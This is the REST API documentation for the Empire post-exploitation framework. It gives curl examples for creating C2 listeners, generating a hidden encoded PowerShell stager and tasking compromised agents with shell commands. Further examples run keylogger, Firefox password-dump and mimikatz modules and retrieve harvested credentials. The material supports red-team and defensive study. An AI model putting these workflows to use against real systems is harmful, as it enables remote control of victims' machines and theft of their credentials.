EmpireProject-Empire

This API and documentation are based on the excellent example set by the BeEF Project. All credit to @antisnatchor and the entire BeEF community for the great examples to draw on.

Introduction
API Authentication
Version Information
Configuration Information
Admin Functionality
Listeners
Stagers
Agents
Modules
Credentials
Reporting

Introduction

There are currently two ways to launch the Empire RESTful API.

You can start a normal Empire instance with ./empire, and then in another windows run ./empire --rest. This starts the API without a fully-featured Empire instance, allowing you to still interact with the normal Empire UI.

Alternatively, you can run Empire 'headless' with ./empire --headless, which will start a complete Empire instance as well as the RESTful API, and will suppress all output except for startup messages.

By default, the RESTful API is started on port 1337, over HTTPS using the certificate located at ./data/empire.pem (which can be generated with ./setup/cert.sh). This port can be changed by supplying --restport <PORT_NUM> on launch.

The default username for the API is 'empireadmin' and the default password is randomly generated by ./setup/setup_database.py during install. This value is retrievable by using sqlitebrowser ./data/empire.db, or can be modified in the setup_database.py file. You can also manually specify the username and password for a REST/headless launch with --username admin --password 'Password123!'.

You can review all cli options by running:

# ./empire -h
usage: empire [-h] [--debug [DEBUG]] [-s [STAGER]]
              [-o [STAGER_OPTIONS [STAGER_OPTIONS ...]]] [-l [LISTENER]] [-v]
              [--rest] [--restport [RESTPORT]] [--headless]
              [--username [USERNAME]] [--password [PASSWORD]]

optional arguments:
  -h, --help            show this help message and exit
  --debug [DEBUG]       Debug level for output (default of 1).
  -s [STAGER], --stager [STAGER]
                        Specify a stager to generate. Lists all stagers if
                        none is specified.
  -o [STAGER_OPTIONS [STAGER_OPTIONS ...]], --stager-options [STAGER_OPTIONS [STAGER_OPTIONS ...]]
                        Supply options to set for a stager in OPTION=VALUE
                        format. Lists options if nothing is specified.
  -l [LISTENER], --listener [LISTENER]
                        Display listener options. Displays all listeners if
                        nothing is specified.
  -v, --version         Display current Empire version.
  --rest                Run the Empire RESTful API.
  --restport [RESTPORT]
                        Port to run the Empire RESTful API on.
  --headless            Run Empire and the RESTful API headless without the
                        usual interface.
  --username [USERNAME]
                        Start the RESTful API with the specified username
                        instead of pulling from empire.db
  --password [PASSWORD]
                        Start the RESTful API with the specified password
                        instead of pulling from empire.db

API Authentication

The Empire API uses a simple token-based auth system similar to BeEF's. In order to make any requests to the API, a ?token=X parameter must be supplied, otherwise a 403 error is returned.

The token is randomly generated on rest API start up and displayed on the command line:

# ./empire --rest --password 'Password123!'

[*] Loading modules from: /mnt/hgfs/git/github/Empire/lib/modules/
 * Starting Empire RESTful API on port: 1337
 * RESTful API token: ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
 * Running on https://0.0.0.0:1337/ (Press CTRL+C to quit)

To retrieve the session token through the login interface, you can POST a request to /api/admin/login. Here's an example with curl:

# curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/admin/login -X POST -d '{"username":"empireadmin", "password":"Password123!"}'
HTTP/1.0 200 OK
Content-Type: application/json
Content-Length: 57
Server: Werkzeug/0.11.4
Date: Thu, 31 Mar 2016 23:38:59 GMT

{
  "token": "ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5"
}

Version Information

Handler

Handler : GET /api/version
Description : Returns the current Empire version.
No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/version?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "version": "1.5.0"
}

Configuration Information

Handler

Handler : GET /api/config
Description : Returns the current Empire configuration.
No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/config?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "config": [
    {
      "api_password": "C3>Jl...",
      "api_username": "empireadmin",
      "autorun_command": "",
      "autorun_data": "",
      "current_api_token": "ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5",
      "default_cert_path": "",
      "default_delay": 5,
      "default_jitter": 0.0,
      "default_lost_limit": 60,
      "default_port": "8080",
      "default_profile": "/admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
      "install_path": "/home/user/Empire/",
      "ip_blacklist": "",
      "ip_whitelist": "",
      "permanent_api_token": "gi5afo3umac6...",
      "server_version": "Microsoft-IIS/7.5",
      "stage0_uri": "index.asp",
      "stage1_uri": "index.jsp",
      "stage2_uri": "index.php",
      "staging_key": "m@T%L?VH...",
      "version": "1.5.0"
    }
  ]
}

Get Session Token

Handler

Handler : GET /api/login
Description : Logs into the API and gets the current session token.
No parameters

Example

Request:

curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/admin/login -X POST -d '{"username":"empireadmin", "password":"Password123!"}'

Response:

{
  "token": "ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5"
}

Get Permanent Session Token

Handler

Handler : GET /api/permanenttoken
Description : Gets the permanent session token, reusable without login. Doesn't change on API restart.
No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/admin/permanenttoken?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "token": "gi5afo3umac6c0..."
}

Restart the RESTful API Server

Handler

Handler : GET /api/restart
Description : Restarts the RESTful API server.
No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/admin/restart?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "success": true
}

Shutdown the RESTful API Server

Handler

Handler : GET /api/shutdown
Description : Shutdown the RESTful API server.
No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/admin/shutdown?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "success": true
}

Listeners

Get Current Listeners
Get Listener by Name
Get Current Listener Options
Create a Listener
Kill a Listener
Kill All Listeners

Get Current Listeners

Handler

Handler : GET /api/listeners
Description : Returns all current Empire listeners.
No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/listeners?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "listeners": [
    {
      "ID": 1,
      "cert_path": "",
      "default_delay": 5,
      "default_jitter": 0.0,
      "default_lost_limit": 60,
      "default_profile": "/admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
      "host": "http://192.168.52.172:8080",
      "kill_date": "",
      "listener_type": "native",
      "name": "test",
      "port": 8080,
      "redirect_target": "",
      "staging_key": "m@T%L?V...",
      "working_hours": ""
    }
  ]
}

Get Listener by Name

Handler

Handler : GET /api/listeners/LISTENER_NAME
Description : Returns the listener specifed by the name/id LISTENER_NAME.
No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/listeners/test?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "listeners": [
    {
      "ID": 1,
      "cert_path": "",
      "default_delay": 5,
      "default_jitter": 0.0,
      "default_lost_limit": 60,
      "default_profile": "/admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
      "host": "http://192.168.52.172:8080",
      "kill_date": "",
      "listener_type": "native",
      "name": "test",
      "port": 8080,
      "redirect_target": "",
      "staging_key": "m@T%L...",
      "working_hours": ""
    }
  ]
}

Get Current Listener Options

Handler

Handler : GET /api/listeners/options/listener_type
Description : Returns the current listener options for the specified type.
No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/listeners/options/http?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "listeneroptions": [
    {
      "CertPath": {
        "Description": "Certificate path for https listeners.",
        "Required": false,
        "Value": ""
      },
      "DefaultDelay": {
        "Description": "Agent delay/reach back interval (in seconds).",
        "Required": true,
        "Value": 5
      },
      "DefaultJitter": {
        "Description": "Jitter in agent reachback interval (0.0-1.0).",
        "Required": true,
        "Value": 0.0
      },
      "DefaultLostLimit": {
        "Description": "Number of missed checkins before exiting",
        "Required": true,
        "Value": 60
      },
      "DefaultProfile": {
        "Description": "Default communication profile for the agent.",
        "Required": true,
        "Value": "/admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
      },
      "Host": {
        "Description": "Hostname/IP for staging.",
        "Required": true,
        "Value": "http://192.168.52.173:8080"
      },
      "KillDate": {
        "Description": "Date for the listener to exit (MM/dd/yyyy).",
        "Required": false,
        "Value": ""
      },
      "Name": {
        "Description": "Listener name.",
        "Required": true,
        "Value": "test"
      },
      "Port": {
        "Description": "Port for the listener.",
        "Required": true,
        "Value": "8080"
      },
      "RedirectTarget": {
        "Description": "Listener target to redirect to for pivot/hop.",
        "Required": false,
        "Value": ""
      },
      "StagingKey": {
        "Description": "Staging key for initial agent negotiation.",
        "Required": true,
        "Value": "m@T%L..."
      },
      "Type": {
        "Description": "Listener type (native, pivot, hop, foreign, meter).",
        "Required": true,
        "Value": "native"
      },
      "WorkingHours": {
        "Description": "Hours for the agent to operate (09:00-17:00).",
        "Required": false,
        "Value": ""
      }
    }
  ]
}

Create a Listener

Handler

Handler : POST /api/listeners/listener_type
Description : Creates a listener with the specified parameters.
Parameters (none required) :
- Name : name for the listener
- additional : any additional values enumerated from listener options above

Example

Request:

curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/listeners/http?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X POST -d '{"Name":"testing"}'

Response:

{
  "msg": "listener 'testing' successfully started.",
  "success": true
}

Failure Example

Request:

curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/listeners/http?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X POST -d '{"Name":"testing"}'

Response:

{
  "msg": "Error starting listener on port 8080, port likely already in use.",
  "success": false
}

Kill a Listener

Handler

Handler : DELETE /api/listeners/LISTENER_NAME
Description : Kills the listener specifed by the name/id LISTENER_NAME.
No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/listeners/testing?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X DELETE

Response:

{
  "success": true
}

Kill All Listeners

Handler

Handler : DELETE /api/listeners/all
Description : Kills all listeners.
No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/listeners/all?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X DELETE

Response:

{
  "success": true
}

Stagers

Get Current Stagers
Get Stager by Name
Generate Stager

Get Current Stagers

Handler

Handler : GET /api/stagers
Description : Returns all current Empire stagers and options.
No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/stagers?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "stagers": [
    {
      "Author": [
        "@harmj0y"
      ],
      "Comments": [
        ""
      ],
      "Description": "Generates a ducky script that runes a one-liner stage0 launcher for Empire.",
      "Name": "ducky",
      "options": {
        "Listener": {
          "Description": "Listener to generate stager for.",
          "Required": true,
          "Value": ""
        },
        "OutFile": {
          "Description": "File to output duckyscript to.",
          "Required": true,
          "Value": ""
        },
        "Proxy": {
          "Description": "Proxy to use for request (default, none, or other).",
          "Required": false,
          "Value": "default"
        },
        "ProxyCreds": {
          "Description": "Proxy credentials ([domain\\]username:password) to use for request (default, none, or other).",
          "Required": false,
          "Value": "default"
        },
        "StagerRetries": {
          "Description": "Times for the stager to retry connecting.",
          "Required": false,
          "Value": "0"
        },
        "UserAgent": {
          "Description": "User-agent string to use for the staging request (default, none, or other).",
          "Required": false,
          "Value": "default"
        }
      }
    },
    ...
  ]
}

Get Stager by Name

Handler

Handler : GET /api/stagers/STAGER_NAME
Description : Returns the Empire stager specified by STAGER_NAME.
No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/stagers/dll?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "stagers": [
    {
      "Author": [
        "@sixdub"
      ],
      "Comments": [
        ""
      ],
      "Description": "Generate a PowerPick Reflective DLL to inject with stager code.",
      "Name": "dll",
      "options": {
        "Arch": {
          "Description": "Architecture of the .dll to generate (x64 or x86).",
          "Required": true,
          "Value": "x64"
        },
        "Listener": {
          "Description": "Listener to use.",
          "Required": true,
          "Value": ""
        },
        "OutFile": {
          "Description": "File to output dll to.",
          "Required": true,
          "Value": "/tmp/launcher.dll"
        },
        "Proxy": {
          "Description": "Proxy to use for request (default, none, or other).",
          "Required": false,
          "Value": "default"
        },
        "ProxyCreds": {
          "Description": "Proxy credentials ([domain\\]username:password) to use for request (default, none, or other).",
          "Required": false,
          "Value": "default"
        },
        "StagerRetries": {
          "Description": "Times for the stager to retry connecting.",
          "Required": false,
          "Value": "0"
        },
        "UserAgent": {
          "Description": "User-agent string to use for the staging request (default, none, or other).",
          "Required": false,
          "Value": "default"
        }
      }
    }
  ]
}

Generate Stager

Handler

Handler : POST /api/stagers
Description : Returns the Empire stager specified by parameters.
Parameters :
- StagerName : the stager name to generate (required)
- Listener : the listener name to generate the stager for (required)
- additional : any additional stager values enumerated from stager options

Example

Request:

curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/stagers?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X POST -d '{"StagerName":"launcher", "Listener":"testing"}'

Response:

{
  "launcher": {
    "Base64": {
      "Description": "Switch. Base64 encode the output.",
      "Required": true,
      "Value": "True"
    },
    "Listener": {
      "Description": "Listener to generate stager for.",
      "Required": true,
      "Value": "testing"
    },
    "OutFile": {
      "Description": "File to output launcher to, otherwise displayed on the screen.",
      "Required": false,
      "Value": ""
    },
    "Output": "powershell.exe -NoP -sta -NonI -W Hidden -Enc JAB...KQA=",
    "Proxy": {
      "Description": "Proxy to use for request (default, none, or other).",
      "Required": false,
      "Value": "default"
    },
    "ProxyCreds": {
      "Description": "Proxy credentials ([domain\\]username:password) to use for request (default, none, or other).",
      "Required": false,
      "Value": "default"
    },
    "StagerRetries": {
      "Description": "Times for the stager to retry connecting.",
      "Required": false,
      "Value": "0"
    },
    "UserAgent": {
      "Description": "User-agent string to use for the staging request (default, none, or other).",
      "Required": false,
      "Value": "default"
    }
  }
}

Agents

Get Current Agents
Get Stale Agents
Remove Stale Agents
Remove Agent
Task an Agent to run a Shell Command
Task all Agents to run a Shell Command
Get Agent Results
Delete Agent Results
Delete All Agent Results
Clear Queued Agent Tasking
Rename an Agent
Kill an Agent
Kill all Agents

Get Current Agents

Handler

Handler : GET /api/agents
Description : Returns all current Empire agents.
No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/agents?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "agents": [
    {
      "ID": 1,
      "checkin_time": "2016-03-31 17:36:34",
      "children": null,
      "delay": 5,
      "external_ip": "192.168.52.200",
      "functions": null,
      "headers": "",
      "high_integrity": 0,
      "hostname": "WINDOWS1",
      "internal_ip": "192.168.52.200",
      "jitter": 0.0,
      "kill_date": "",
      "lastseen_time": "2016-03-31 17:38:55",
      "listener": "http://192.168.52.172:8080/",
      "lost_limit": 60,
      "name": "3GHZPWEGADMT2KPA",
      "old_uris": null,
      "os_details": "Microsoft Windows 7 Professional ",
      "parent": null,
      "process_id": "1636",
      "process_name": "powershell",
      "ps_version": "2",
      "results": "",
      "servers": null,
      "sessionID": "3GHZPWEGADMT2KPA",
      "session_key": "7.+...",
      "taskings": "",
      "uris": "/admin/get.php,/news.asp,/login/process.jsp",
      "user_agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
      "username": "WINDOWS1\\user",
      "working_hours": ""
    },
    ...
  ]
}

Get Stale Agents

Handler

Handler : GET /api/agents/stale
Description : Returns all 'stale' Empire agents (past checkin window).
No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/agents/stale?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "agents": [
    {
      "ID": 1,
      "checkin_time": "2016-03-31 17:36:34",
      "children": null,
      "delay": 5,
      "external_ip": "192.168.52.200",
      "functions": null,
      "headers": "",
      "high_integrity": 0,
      "hostname": "WINDOWS1",
      "internal_ip": "192.168.52.200",
      "jitter": 0.0,
      "kill_date": "",
      "lastseen_time": "2016-03-31 17:38:55",
      "listener": "http://192.168.52.172:8080/",
      "lost_limit": 60,
      "name": "3GHZPWEGADMT2KPA",
      "old_uris": null,
      "os_details": "Microsoft Windows 7 Professional ",
      "parent": null,
      "process_id": "1636",
      "process_name": "powershell",
      "ps_version": "2",
      "results": "",
      "servers": null,
      "sessionID": "3GHZPWEGADMT2KPA",
      "session_key": "7.+...",
      "taskings": "",
      "uris": "/admin/get.php,/news.asp,/login/process.jsp",
      "user_agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
      "username": "WINDOWS1\\user",
      "working_hours": ""
    },
    ...
  ]
}

Remove Stale Agents

Handler

Handler : DELETE /api/agents/stale
Description : Removes all 'stale' Empire agents (past checkin window).
No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/agents/stale?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X DELETE

Response:

{
  "success": true
}

Get Agent by Name

Handler

Handler : GET /api/agents/AGENT_NAME
Description : Returns the agent specifed by AGENT_NAME.
No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/agents/XMY2H2ZPFWNPGEAP?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "agents": [
    {
      "ID": 1,
      "checkin_time": "2016-03-31 20:29:31",
      "children": null,
      "delay": 5,
      "external_ip": "192.168.52.200",
      "functions": null,
      "headers": "",
      "high_integrity": 0,
      "hostname": "WINDOWS1",
      "internal_ip": "192.168.52.200",
      "jitter": 0.0,
      "kill_date": "",
      "lastseen_time": "2016-03-31 20:29:38",
      "listener": "http://192.168.52.173:8080/",
      "lost_limit": 60,
      "name": "XMY2H2ZPFWNPGEAP",
      "old_uris": null,
      "os_details": "Microsoft Windows 7 Professional ",
      "parent": null,
      "process_id": "2600",
      "process_name": "powershell",
      "ps_version": "2",
      "results": null,
      "servers": null,
      "sessionID": "XMY2H2ZPFWNPGEAP",
      "session_key": "+e`x!...",
      "taskings": null,
      "uris": "/admin/get.php,/news.asp,/login/process.jsp",
      "user_agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
      "username": "WINDOWS1\\user",
      "working_hours": ""
    }
  ]
}

Remove Agent

Handler

Handler : DELETE /api/agents/AGENT_NAME
Description : Removes the agent specifed by AGENT_NAME (doesn't kill first).
No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/agents/XMY2H2ZPFWNPGEAP?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X DELETE

Response:

{
  "success": true
}

Task an Agent to run a Shell Command

Handler

Handler : POST /api/agents/AGENT_NAME/shell
Description : Tasks the agent specifed by AGENT_NAME to run the given shell command.
Parameters :
- command : the shell command to task the agent to run (required)

Example

Request:

curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/CXPLDTZCKFNT3SLT/shell?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X POST -d '{"command":"whoami"}'

Response:

{
  "success": true
}

Task all Agents to run a Shell Command

Handler

Handler : POST /api/agents/all/shell
Description : Tasks all agents to run the given shell command.
Parameters :
- command : the shell command to task the agents to run (required)

Example

Request:

curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/all/shell?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X POST -d '{"command":"pwd"}'

Response:

{
  "success": true
}

Get Agent Results

Handler

Handler : GET /api/agents/AGENT_NAME/results
Description : Retrieves results for the agent specifed by AGENT_NAME.
No parameters

Example

Request:

curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/CXPLDTZCKFNT3SLT/results?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "results": [
    {
      "agentname": "CXPLDTZCKFNT3SLT",
      "results": "WINDOWS1\\user\nPath                                                                           \r\n----                                                                           \r\nC:\\Users\\user
    }
  ]
}r

Delete Agent Results

Handler

Handler : DELETE /api/agents/AGENT_NAME/results
Description : Deletes the result buffer for the agent specifed by AGENT_NAME.
No parameters

Example

Request:

curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/CXPLDTZCKFNT3SLT/results?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X DELETE

Response:

{
  "success": true
}

Delete All Agent Results

Handler

Handler : DELETE /api/agents/all/results
Description : Deletes all agent result buffers
No parameters

Example

Request:

curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/all/results?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X DELETE

Response:

{
  "success": true
}

Clear Queued Agent Tasking

Handler

Handler : POST/GET /api/agents/AGENT_NAME/clear
Description : Clears the queued taskings for the agent specified by AGENT_NAME.
No parameters

Example

Request:

curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/CXPLDTZCKFNT3SLT/clear?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "success": true
}

Rename an Agent

Handler

Handler : POST/GET /api/agents/AGENT_NAME/rename
Description : Renames the agent specified by AGENT_NAME.
Parameters :
- newname : the name to rename the specified agent to (required)

Example

Request:

curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/CXPLDTZCKFNT3SLT/rename?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X POST -d '{"newname":"initial"}'

Response:

{
  "success": true
}

Kill an Agent

Handler

Handler : POST/GET /api/agents/AGENT_NAME/kill
Description : Tasks the agent specified by AGENT_NAME to exit.
No parameters

Example

Request:

curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/CXPLDTZCKFNT3SLT/kill?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "success": true
}

Kill all Agents

Handler

Handler : POST/GET /api/agents/all/kill
Description : Tasks all agents to exit.
No parameters

Example

Request:

curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/all/kill?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "success": true
}

Modules

Get Current Modules
Get Module by Name
Search for Module
Execute a Module

Get Current Modules

Handler

Handler : GET /api/modules
Description : Returns all current Empire modules.
No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/modules?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "modules": [
    {
      "Author": [
        "@xorrior"
      ],
      "Background": true,
      "Comments": [
        "https://github.com/xorrior/RandomPS-Scripts/blob/master/Get-FoxDump.ps1",
        "http://xakfor.net/threads/c-firefox-36-password-cookie-recovery.12192/"
      ],
      "Description": "This module will dump any saved passwords from Firefox to the console. This should work for any versionof Firefox above version 32. This will only be successful if the master password is blank or has not been set.",
      "MinPSVersion": "2",
      "Name": "collection/FoxDump",
      "NeedsAdmin": false,
      "OpsecSafe": true,
      "OutputExtension": null,
      "SaveOutput": false,
      "options": {
        "Agent": {
          "Description": "Agent to run the module on.",
          "Required": true,
          "Value": ""
        },
        "OutFile": {
          "Description": "Path to Output File",
          "Required": false,
          "Value": ""
        }
      }
    },
    ...
  ]
}

Get Module by Name

Handler

Handler : GET /api/modules/MODULE_NAME
Description : Returns the module specified by MODULE_NAME.
No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/modules/collection/keylogger?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "modules": [
    {
      "Author": [
        "@obscuresec",
        "@mattifestation",
        "@harmj0y"
      ],
      "Background": true,
      "Comments": [
        "https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1"
      ],
      "Description": "Logs keys pressed, time and the active window (when changed).",
      "MinPSVersion": "2",
      "Name": "collection/keylogger",
      "NeedsAdmin": false,
      "OpsecSafe": true,
      "OutputExtension": null,
      "options": {
        "Agent": {
          "Description": "Agent to run module on.",
          "Required": true,
          "Value": ""
        }
      }
    }
  ]
}

Search for Module

Handler

Handler : POST /api/modules/search
Description : Searches all module fields for the given term.
Parameters (none required) :
- term : the term to search for (required)

Example

Request:

curl --insecure -i -H "Content-Type: application/json"  https://localhost:1337/api/modules/search?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -d '{"term":"keylogger"}'

Response:

{
  "modules": [
    {
      "Author": [
        "@obscuresec",
        "@mattifestation",
        "@harmj0y"
      ],
      "Background": true,
      "Comments": [
        "https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1"
      ],
      "Description": "Logs keys pressed, time and the active window (when changed).",
      "MinPSVersion": "2",
      "Name": "collection/keylogger",
      "NeedsAdmin": false,
      "OpsecSafe": true,
      "OutputExtension": null,
      "options": {
        "Agent": {
          "Description": "Agent to run module on.",
          "Required": true,
          "Value": ""
        }
      }
    }
  ]
}

Execute a Module

Handler

Handler : POST /api/modules/MODULE_NAME
Description : Tasks an
Parameters (none required) :
- Agent : the agent to task the module for (or all). Required.
- additional : any additional module values enumerated from module options

Example

Request:

curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/modules/credentials/mimikatz/logonpasswords?token=$TOKEN -X POST -d '{"Agent":"WTN1LHHRYHFWHXU3"}'

Response:

{
  "msg": "tasked agent WTN1LHHRYHFWHXU3 to run module credentials/mimikatz/logonpasswords",
  "success": true
}

Credentials

Get Stored Credentials

Handler

Handler : GET /api/creds
Description : Returns all credentials currently stored in an Empire server.
No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/creds?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "creds": [
    {
      "ID": 1,
      "credtype": "hash",
      "domain": "testlab.local",
      "host": "WINDOWS1",
      "notes": "2016-03-31 17:37:23",
      "password": "2b576acbe6b...",
      "sid": "S-1-5-21-664317401-282805101-...",
      "username": "Administrator"
    },
    ...
  ]
}

Reporting

Get All Logged Events
Get Agent Logged Events
Get Logged Events of Specific Type
Get Logged Events w/ Specific Msg

Get All Logged Events

Handler

Handler : GET /api/reporting
Description : Returns all logged events.
No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/reporting?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "reporting": [
    {
      "ID": 1,
      "agentname": "3GHZPWEGADMT2KPA",
      "event_type": "checkin",
      "message": "2016-03-31 17:36:34",
      "timestamp": "2016-03-31 17:36:34"
    },
    ...
  ]
}

Get Agent Logged Events

Handler

Handler : GET /api/reporting/agent/AGENT_NAME
Description : Returns the events for a specified AGENT_NAME
No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/reporting/agent/initial?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "reporting": [
    {
      "ID": 28,
      "agentname": "SMLHRBLTP4Z14SHC",
      "event_type": "checkin",
      "message": "2016-03-31 21:01:34",
      "timestamp": "2016-03-31 21:01:34"
    },
    ...
  ]
}

Get Logged Events of Specific Type

Handler

Handler : GET /api/reporting/type/MSG_TYPE
Description : Returns the events of a specified MSG_TYPE (checkin, task, result).
No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/reporting/type/checkin?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "reporting": [
    {
      "ID": 1,
      "agentname": "3GHZPWEGADMT2KPA",
      "event_type": "checkin",
      "message": "2016-03-31 17:36:34",
      "timestamp": "2016-03-31 17:36:34"
    },
    {
      "ID": 4,
      "agentname": "PK4HAFLH4231E14X",
      "event_type": "checkin",
      "message": "2016-03-31 17:36:50",
      "timestamp": "2016-03-31 17:36:50"
    },
    ...
  ]
}

Get Logged Events w/ Specific Msg

Handler

Handler : GET /api/reporting/msg/MSG
Description : Returns the events matching a specific MSG.
No parameters

Example

Request:

curl --insecure -i https://localhost:1337/api/reporting/msg/mimikatz?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5

Response:

{
  "reporting": [
    {
      "ID": 5,
      "agentname": "PK4HAFLH4231E14X",
      "event_type": "task",
      "message": "TASK_CMD_JOB - function Invoke-Mimikatz\n{\n[CmdletBinding(DefaultP",
      "timestamp": "2016-03-31 17:36:54"
    },
    ...
  ]
}

I- Overview

I- Modules

I- Advanced

PowerShellEmpire | Code